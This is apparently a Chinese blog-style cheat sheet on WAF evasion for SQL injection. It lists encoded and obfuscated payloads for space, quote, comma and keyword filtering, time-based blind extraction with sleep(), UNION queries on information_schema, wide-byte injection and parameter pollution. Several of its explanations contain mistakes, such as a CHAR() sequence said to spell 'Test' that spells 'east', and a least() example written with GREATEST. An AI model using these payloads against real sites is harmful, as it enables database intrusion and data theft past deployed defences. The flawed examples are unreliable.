【WAF BYPASS】SQL注入漏洞之WAF绕过方式探索(万种)

含有SQL注入绕过魔术技巧+URL编码合理使用=注入之隐身术

WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截正则表达

目录

          一、绕过空格(常用:注释符/**/,%20)--注意:%27为’#为%23

         二、括号绕过空格(理解原理+合理利用:注意%28、%29表示())

         三、引号绕过(引号内字母 转 十六进制):

         四、逗号绕过(使用from或者offset(偏移量)或者jion或者like或者limit)

         五、比较符号(<、>)绕过WAF过滤(sqlmap盲注经常使用<、>,使用between的脚本):

         六、or and xor not绕过:

         七、绕过注释符号(#,--(后面跟一个空格))过滤:

         八、“ = ”符号 绕过(like 、rlike 、regexp 或者 < 或者 >)

         九、绕过union,select,where:

         十、通用绕过(编码):

         十一、等价函数绕过:

         十二、宽字节注入:

         十三、HTTP参污染:

         十四、更改前台提交方式:

         十五、垃圾参数:

         十六、组合绕过、分块传输、协议未覆盖、FUZZ大法、反序列化(有空处理)


常    用:注释--+、#(%23)、/**/(空格)、闭合使用、%27(’)、%20(space)

参考文章:HTML URL 编码参考手册 (w3school.com.cn)

SQL注入绕过技巧 - VVVinson - 博客园 (cnblogs.com)

一、绕过空格(常用:注释符/**/,%20)--注意:%27为#为%23

URL编码参考:

%20  :表示空格字符

%09  :表示水平制表符(Tab 键)

%0a  :表示换行符(LF,Line Feed)

%0b  :表示垂直制表符

%0c  :表示换页符

%0d  :表示回车符(CR,Carriage Return)

%A0  :不是常见的标准编码,可能是特定上下文中的自定义编码

%00  :表示空字符(Null 字符)

/**/ :通常用于注释。在 /**/ 之间的内容会被视为注释,不会被执行

/*!*/:特定的一种特殊注释形式

(注意:在 /*! 和 */ 之间的代码,只有当数据库版本支持时才会执行,否则会被当作注释忽略)

特殊绕过:

8E0、8.0 表示 在科学计数法中“E0”通常表示乘以 10 的 0 次幂

  

例    如:      

原    码: index.php?id=1’and 1=2 --+

试    用: index.php?id=1%27/**/and%201=2/**/--+

试    用: index.php?id=1'%0Aand%0C1=2%09--+

试    用: index.php?id=1%27%0dand%201=1--+

试    用: index.php?id=1%27%09and%201=1--+

试    用: index.php?id=-1 /*!union/**/select/**/1,2,database/**/()*/

试    用: index.php?id=8E0union%20select%201,2,3
二、括号绕过空格(理解原理+合理利用:注意%28、%29表示())

如果一个应用程序对输入中的空格进行了严格过滤,而您需要执行一个包含子查询的复杂 SQL 语句(空格被过滤,括号没有被过滤)

在 MySQL 中,括号 `()` 主要有以下几种用途:

1、用于分组和计算表达式的值:例如在数学运算中,`(2 + 3) * 4` 先计算括号内的 `2 + 3` ,然后再与 4 进行乘法运算。

2、定义子查询:将一个查询语句放在括号内作为子查询,然后在外部查询中使用子查询的结果。例如:`SELECT * FROM users WHERE age > (SELECT AVG(age) FROM users);`

代码:

SELECT AVG(age) FROM users :这是一个子查询,用于计算users表中所有用户年龄的平均值。

外部的查询SELECT * FROM users WHERE age > (子查询的结果) :从users表中选择所有年龄大于子查询计算出的平均年龄的记录,并返回所有列( * 表示所有列)。

3、控制运算符的优先级:确保某些操作先于其他操作执行

4、在函数中传递参数:许多函数需要将参数放在括号内,例如 `DATE_SUB(CURRENT_DATE, INTERVAL 1 DAY)`

5、用于条件判断:如在 `CASE WHEN` 表达式中,`CASE WHEN (condition) THEN value1 ELSE value2 END`

代码:

CASE:表示开始一个条件判断表达式。

WHEN (condition):指定条件。这里的 condition 可以是各种比较运算、逻辑运算或其他条件判断。

THEN value1:如果指定的条件为真(满足),则返回 value1 。

ELSE value2:如果前面的所有条件都不满足,则返回 value2 。

END:表示 CASE 表达式的结束。

例如:SELECT score, CASE WHEN (score >= 90) THEN 'A' WHEN (score >= 80 AND score < 90) THEN 'B' WHEN (score >= 70 AND score < 80) THEN 'C' WHEN (score >= 60 AND score < 70) THEN 'D' ELSE 'F' END AS grade FROM students;

(注意:过滤方法常常用于time based盲注)

例    如:(备注“109”表示m)

?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

解    读:

第一部分:

?id=1%27:这部分表示传递了一个名为id的参数,其值为1',其中%27是单引号'的 URL 编码。

第二部分:

and(sleep(ascii(mid(database() from (1) for (1)))=109))%23:这部分是注入的关键部分。

第二部分拆分读解:

and:用于连接前面的条件(在这里没有实际的前半部分条件)。

sleep():是一个 MySQL 函数,用于暂停执行指定的时间(以秒为单位)。

ascii(mid(database() from (1) for (1))):mid(database() from (1) for (1)) 用于获取当前数据库名称的第一个字符,然后通过ascii()函数获取该字符的 ASCII 码值。mid(database() from (1) for 1)的作用是从当前数据库名称中截取第 1 个位置开始的 1 个字符。其中,(1)表示起始位置为第 1 个字符,第二个1表示要截取的字符长度为 1 。

第三部分:

=109:将获取到的 ASCII 码值与 109 进行比较。

目    的:整个表达式旨在让数据库执行 sleep()函数,若数据库名首字符 ASCII 码为 109 则暂停,借页面响应延迟推断条件,以获取数据库信息。

三、引号绕过(引号内字母  十六进制):

例如:查询所有数据库表:(0x74657374表示十六进制“test”库、table_schema表示库名为)

例    如:     

传    递:

?id=-2%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=”test”

试    用:

?id=-2%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x74657374
四、逗号绕过(使用from或者offset(偏移量)或者jion或者like或者limit)
(1)在使用sql盲注时:

mid(a,b,c): 从b开始,截取a字符串的c位

substr(a,b,c): 从b开始,截取字符串a的c长度

left() : left(a,b)从左侧截取a的前b位

Limit:LIMIT 主要用于限制查询结果返回的行数

使用原因:在造子句都需要使用到逗号(利用from、offset进行绕过)

(2)使用from for的方式来解决mid、substr、left函数:

作用都为返回的结果中提取从第 1 个位置开始,长度为 1 的子字符串

使用方法一:

select substr(database(),1,1);

select mid(database(),1,1);

使用方法二:

select substr(database() from 1 for 1);

select mid(database() from 1 for 1);

(3)JOIN(连接)的主要作用是根据指定的条件将来自多个表的数据关联起来,以便能够从相关的表中获取更全面和有用的信息

代码:

union select 1,2

效果替换(注意:后面的a以及b为别名):

union select * from (select 1)a join (select 2)b

(4)like为模糊查询(like '%关键字%' 是一个条件筛选部分):

代码:

select ascii(mid(user(),1,1))=80

效果替换(注意:检查当前用户的信息是否以 u 开头):

select user() like 'u%'

(5)limit可以使用offset来绕过:

代码:

select * from news limit 0,1

效果替换(注意:从表news中选择数据。LIMIT 1表示只返回 1 行数据。OFFSET 0表示从结果集的开头(第 0 行)开始返回):

select * from news limit 1 offset 0
五、比较符号(<、>)绕过WAF过滤(sqlmap盲注经常使用<、>,使用between的脚本):

利用函数greatest()、least():

greatest():函数接受多个参数,并返回其中的最大值

例如:SELECT GREATEST(10, 20, 5, 15);      值为:20

least():函数接受多个参数,并返回其中的最小值

例如:SELECT GREATEST(10, 20, 5, 15);      值为:5

(1)Sql注入之二分查找:

代码:

select * from users where id=1 and ascii(substr(database(),0,1))>64

效果替换:

select * from users where id=1 and greatest(ascii(substr(database(),0,1),64)=64

(2)利用between and

结构为:between a and b
六、or and xor not绕过:

利用:and=&&  or=||   xor=|   not=!

(注意:在 SQL 中,XOR(异或)运算符用于比较两个布尔表达式,如果两个表达式的结果不同(一个为真,一个为假),则XOR的结果为真;如果两个表达式的结果相同(都为真或都为假),则XOR的结果为假。)

七、绕过注释符号(#,--(后面跟一个空格))过滤:
利用:or等价于||、或者直接‘

代码:?id=-1 union select 1,2,3 # 或者?id=-1 union select 1,2,3 --+

效果替换:?id=-1 union select 1,2,3 ||’

效果替换:?id=-1 union select 1,2,’3
八、“ = ”符号 绕过(like 、rlike 、regexp 或者 < 或者 >)

(1)LIKE介绍:
LIKE 用于在查询中进行模式匹配。它通常与通配符 %(代表任意字符序列,包括空字符序列)和 _(代表任意单个字符)一起使用。

例如:

SELECT * FROM users WHERE name LIKE '%John%'; -- 查找名字中包含 "John" 的用户

SELECT * FROM users WHERE name LIKE 'J___'; -- 查找以 "J" 开头且后面跟三个任意字符的用户

(2)RLIKE 或 REGEXP:

RLIKE(在 MySQL 中通常称为REGEXP)用于执行正则表达式匹配。正则表达式提供了更强大和灵活的模式匹配能力。

例如:

SELECT * FROM users WHERE name REGEXP '^[A-Z].*'; -- 查找以大写字母开头的名字

SELECT * FROM users WHERE name REGEXP '[0-9]+'; -- 查找包含至少一个数字的名字

(3)< 和 >:
< 用于比较小于某个值,> 用于比较大于某个值。

例如:

SELECT * FROM products WHERE price < 100; -- 查找价格小于 100 的产品

SELECT * FROM products WHERE quantity > 50; -- 查找数量大于 50 的产品
九、绕过union,select,where:
(1)使用注释符绕过:

常用注释符:

//,-- , /**/, #, --+, -- -, ;,%00,--a

用法:

U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user

(2)使用大小写绕过:

id=-1'UnIoN/**/SeLeCT

(3)内联注释绕过:

id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过):

id=-1'UNIunionONSeLselectECT1,2,3–-
十、通用绕过(编码):

如URLEncode编码,ASCII,HEX,unicode编码绕过:

or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

解释:在 SQL 中,CHAR() 函数用于返回指定 ASCII 值对应的字符。

CHAR(101) 对应字符 'e',CHAR(97) 对应字符 'a',CHAR(115) 对应字符 's',CHAR(116) 对应字符 't' 。

所以 CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116) 是将这几个字符连接起来,结果为字符串 'east'

十一、等价函数绕过:

(1)hex()、bin() ==> ascii()

·        hex() 函数用于将一个值转换为十六进制字符串表示。

·        bin() 函数用于将一个值转换为二进制字符串表示。

·        ascii() 函数用于返回字符的 ASCII 值

(2)sleep() ==>benchmark()

·        sleep() 函数用于使当前的查询暂停指定的时间。

·        benchmark() 函数通常用于性能测试,通过重复执行一个表达式来消耗一定的时间。

(3)concat_ws()==>group_concat()

        concat_ws() 函数用于将多个字符串按照指定的分隔符连接起来。

        group_concat() 函数通常用于将分组中的多行数据连接成一个字符串。

(4)mid()、substr() ==> substring()

        mid() 和 substr() 函数用于从字符串中提取子字符串。

        substring() 函数也用于提取子字符串。

(5)@@user ==> user()

(6)@@datadir ==> datadir()

十二、宽字节注入:

        通常来说,在 SQL 语句中,单引号常用于标识字符串的开始和结束。如果输入中存在恶意构造的单引号,就可能成为 SQL 注入点,用于篡改数据库查询语句的逻辑。

        addslashes()函数的作用是给某些特定字符(如单引号)添加反斜线 \ 进行转义,使其失去原本可能导致注入的功能。但这只是一种简单的防护措施。攻击者利用宽字节字符集(如 GBK)来绕过这个防护。在 GBK 编码中,某些情况下两个字节会被识别为一个汉字。

        以给出的测试 payload 为例:最初输入的是 ' or 1=1 # ,这是一个可能用于 SQL 注入的恶意语句。经过 addslashes() 处理后,单引号 ' 变成了 \' ,其 URL 编码为 %5c%27 

        为了绕过这个转义,构造了新的payload :%df' or 1=1 #。当经过 addslashes()处理后,变成了 %df\' or 1=1 #,其 URL 编码是 %df%5c%27 

例如:

查询语句是 :

SELECT * FROM users WHERE username = '$username' ,

而输入了恶意的 payload 并成功绕过,就可能导致查询语句变成:

SELECT * FROM users WHERE username = '%df\' or 1=1 #'
十三、HTTP参污染

        对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个

 举例:?id=1&id=2&id=3

 举例:?id=1/**&id=-1%20union%20select%201,2,3%23*/
十四、更改前台提交方式:

        提交方式修改GET\POST\REQUEST

十五、垃圾参数

        原理:WAF 为了保证性能,通常会对检测的数据包长度或数据流长度设置一个默认的限制值。这意味着,如果发送的数据量超过这个限制,WAF 可能无法对全部数据进行有效的检测。

        攻击者利用这一点,向 HTTP POST 请求中添加大量的填充数据。当填充数据达到一定数量时,其中包含的 SQL 注入恶意代码可能就会因为超出 WAF 的检测范围而未被发现,从而实现了绕过 WAF 的目的。

        通过使用脚本生成器来生成大量的垃圾字符作为填充数据,增加了数据量,使得恶意的 SQL 注入代码隐藏在未被检测的部分。

举例:?id=-1111111111111*[很多个1] &id=1 order by 3
十六、组合绕过分块传输协议未覆盖、FUZZ大法、反序列化(有空处理)
  • 19
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值